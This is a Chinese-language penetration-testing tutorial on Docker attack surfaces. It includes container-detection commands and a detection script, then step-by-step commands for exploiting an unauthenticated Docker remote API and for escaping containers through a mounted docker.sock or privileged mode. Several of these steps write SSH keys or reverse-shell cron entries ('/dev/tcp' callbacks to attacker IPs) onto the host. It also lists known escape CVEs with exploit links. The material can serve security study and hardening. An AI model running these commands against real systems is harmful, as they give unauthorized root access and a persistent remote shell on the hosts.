Docker攻击面探究

本文探究Docker渗透思路及方法...

本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…

0x01 虚拟环境探测

1. 容器环境

1
2
3
4
5
6
7
8
9
1. 检查/.dockerenv文件是否存在

ls / -al | grep dockerenv

2. 检查/proc/1/cgroup或/proc/1/cpuset内是否包含"docker"等字符串

cat /proc/1/cgroup | grep docker

cat /proc/1/cpuset | grep docker

2. 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1) 容器环境

cat /proc/1/cgroup | grep -qi docker \
&& echo "Docker" \
|| echo "Not Docker"

[[ -f /.dockerenv ]] && echo "Docker" || echo "Not Docker"

cat /proc/1/cgroup | \
grep -q 'machine-rkt' \
&& echo 'rkt' \
|| echo 'not rkt'

2)物理机环境

systemd-detect-virt // 输出为none,则说明是物理机

lscpu | grep -Piq 'Hypervisor vendor' \
&& echo "Virtual Machine" \
|| echo "Physical Machine"

dmidecode -t system // 查看 DMI 信息/sys/firmware/dmi/tables/DMI

3)虚拟机环境

systemd-detect-virt //如果是虚拟机,则会输出虚拟机类型,如 kvm、oracle(virtualbox)、xen 等

lscpu | grep -i 'Hypervisor vendor' | cut -d ':' -f 2 | tr -d ' ' // 根据 lscpu 命令输出,查看Hypervisor vendor属性值

dmidecode -t system // 获取更多的虚拟机信息

3. 探测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/bin/sh

detect_container()
{
if which systemd-detect-virt >/dev/null 2>&1; then
TYPE=$(systemd-detect-virt -c)
if [ "$TYPE" = "none" ]; then
return 1
else
echo "Container: $TYPE"
return 0
fi
fi
if [ -n "$container" ]; then
echo "Container: $container"
return 0
fi
if grep -qi docker /proc/1/cgroup; then
echo "Container: Docker"
return 0
fi
if test -f /.dockerenv; then
echo "Container: Docker"
return 0
fi
if grep -qi 'machine-rkt' /proc/1/cgroup; then
echo "Container: rkt"
return 0
fi
# Other container type detect here
return 1
}

detect_physical()
{
if ! lscpu | grep -qi 'Hypervisor vendor'; then
echo "Physical: $(cat /sys/class/dmi/id/product_name)"
return 0
fi
return 1
}

detect_virtual_machine()
{
if lscpu | grep -qi 'Hypervisor vendor'; then
HYPER_TYPE=$(lscpu | grep -i "Hypervisor vendor" \
| cut -d ':' -f 2 | sed 's/^ *//g')
if dmidecode -t system | grep -qi 'amazon'; then
echo "Virtual Machine: AWS/$HYPER_TYPE"
elif dmidecode -t system | grep -qi 'openstack'; then
echo "Virtual Machine: OpenStack/$HYPER_TYPE"
elif dmidecode -t system | grep -qi 'alibaba'; then
echo "Virtual Machine: Aliyun/$HYPER_TYPE"
else
Manufacturer=$(dmidecode -t system | grep 'Manufacturer' \
| cut -d ':' -f 2 | sed 's/^ *//g')
ProductName=$(dmidecode -t system | grep 'Product Name' \
| cut -d ':' -f 2 | sed 's/^ *//g')
Version=$(dmidecode -t system | grep 'Version' \
| cut -d ':' -f 2 | sed 's/^ *//g')
echo "Virtual Machine: $Manufacturer $ProductName($Version)/$HYPER_TYPE"
fi
return 0
fi
return 1
}

detect_virtual_type()
{
detect_container || detect_physical \
|| detect_virtual_machine || echo "Unknown"
}

detect_virtual_type "$@"

0x02 Docker攻击面

1. docker daemon api unauth

Docker remote Api未授权访问的攻击原理与Redis未授权类似,是向运行该应用的服务器写文件,从而拿到服务器的权限,docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker

1
sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1) 容器挂载宿主机/root/目录,写ssh公钥

docker -H tcp://192.168.1.10:2375 run -it -v /root/:/root/ --name alpine_linux image_id sh

docker -H tcp://192.168.1.10:2375 start ct_id

docker -H tcp://192.168.1.10:2375 exec -it --user root ct_id sh

echo -e "\n\npubkey\n\n" >> /root/.ssh/authorized_keys


2) 容器挂载宿主机/etc/目录,反弹shell写入/etc/crontab;或者挂载var/spool/cron/目录,写入/var/spool/cron/root文件

# 查看宿主机可用镜像
docker -H tcp://192.168.1.10:2375 images
# docker -H tcp://192.168.1.10:2375 pull alpine:latest

# 选择镜像创建容器挂载本地目录
docker -H tcp://192.168.1.10:2375 run -it -v /var/spool/cron/:/var/spool/cron/ image_id sh
# docker -H tcp://192.168.1.10:2375 run -it -v /etc/:/etc/ image_id sh
# docker run -it -v /etc/:/etc/ -v /root/:/root/ -v /var/spool/cron/:/var/spool/cron/ image_id //挂载多个路径

# 启动刚刚创建的容器并连接
docker -H tcp://192.168.1.10:2375 start ct_id
docker -H tcp://192.168.1.10:2375 exec -it --user root ct_id sh

# 执行shell反弹命令
echo '* * * * * sh -i >& /dev/tcp/192.168.143.158/9966 0>&1' >> /var/spool/cron/root

echo -e "\n\n* * * * * root sh -i>&/dev/tcp/192.168.143.158/9966 0>&1\n\n" >> /etc/crontab

2. 容器逃逸漏洞

Docker逃逸主要由三类原因引起,配置不当、软件设计缺陷及内核漏洞

a. 配置不当导致逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
1) docker remote api未授权访问

2) docker.sock挂载到容器内部

在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中

docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/bin/docker:/usr/bin/docker \
alpine \
/bin/bash

find / -name docker.sock # 在容器中查找docker.sock

docker -H unix:///var/run/docker.sock info # 在容器查看宿主机docker信息

docker -H unix:///var/run/docker.sock run -it -v /:/test alpine /bin/bash # 运行新容器并挂载宿主机根路径

在新容器的/test 目录下,可以访问到宿主机的全部资源,接下来可通过写文件获取shell

3)docker特权模式启动

使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限;Docker 通过Linux namespace实现六项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器较大的权限,从而打破了资源隔离的界限

docker run --rm -it
--privileged
-v /:/soft
--cap-add=SYS_ADMIN # 启动时,允许执行mount特权操作,需获得资源挂载进行利用
--net=host # 启动时,绕过Network Namespace
--pid=host # 启动时,绕过PID Namespace
--ipc=host # 启动时,绕过IPC Namespace
alpine
/bin/bash

sudo docker run -itd --privileged alpine:latest /bin/bash # 通过特权模式启动一个容器

fdisk -l # 在容器内查看磁盘文件

mkdir /test # 将/dev/sda1 挂载到新建目录
mount /dev/sda3 /test

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/2233 0>&1' >> /test/var/spool/cron/root # 将计划任务写入到宿主机

b. 软件设计缺陷导致逃逸

Shocker 攻击

漏洞原理:Shocker攻击的关键是执行了系统调用open_by_handle_at函数,调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力,而Docker1.0版本对Capability使用黑名单管理策略,并且没有限制CAP_DAC_READ_SEARCH能力,因而引发了容器逃逸的风险

影响版本: Docker版本< 1.0

refer: https://github.com/gabrtv/shocker

Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271)

漏洞描述:当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss*.so库。攻击者可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响版本:Docker 19.03.0

安全版本:升级至安全版本 Docker 19.03.1及以上

runC容器逃逸漏洞(CVE-2019-5736)

漏洞描述:Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

影响版本:Docker版本 < 18.09.2,runc版本< 1.0-rc6

c. 内核漏洞导致逃逸

Dirty Cow(CVE-2016-5195)实现docker逃逸

refer: https://github.com/gebl/dirtycow-docker-vdso.git

0xFF Reference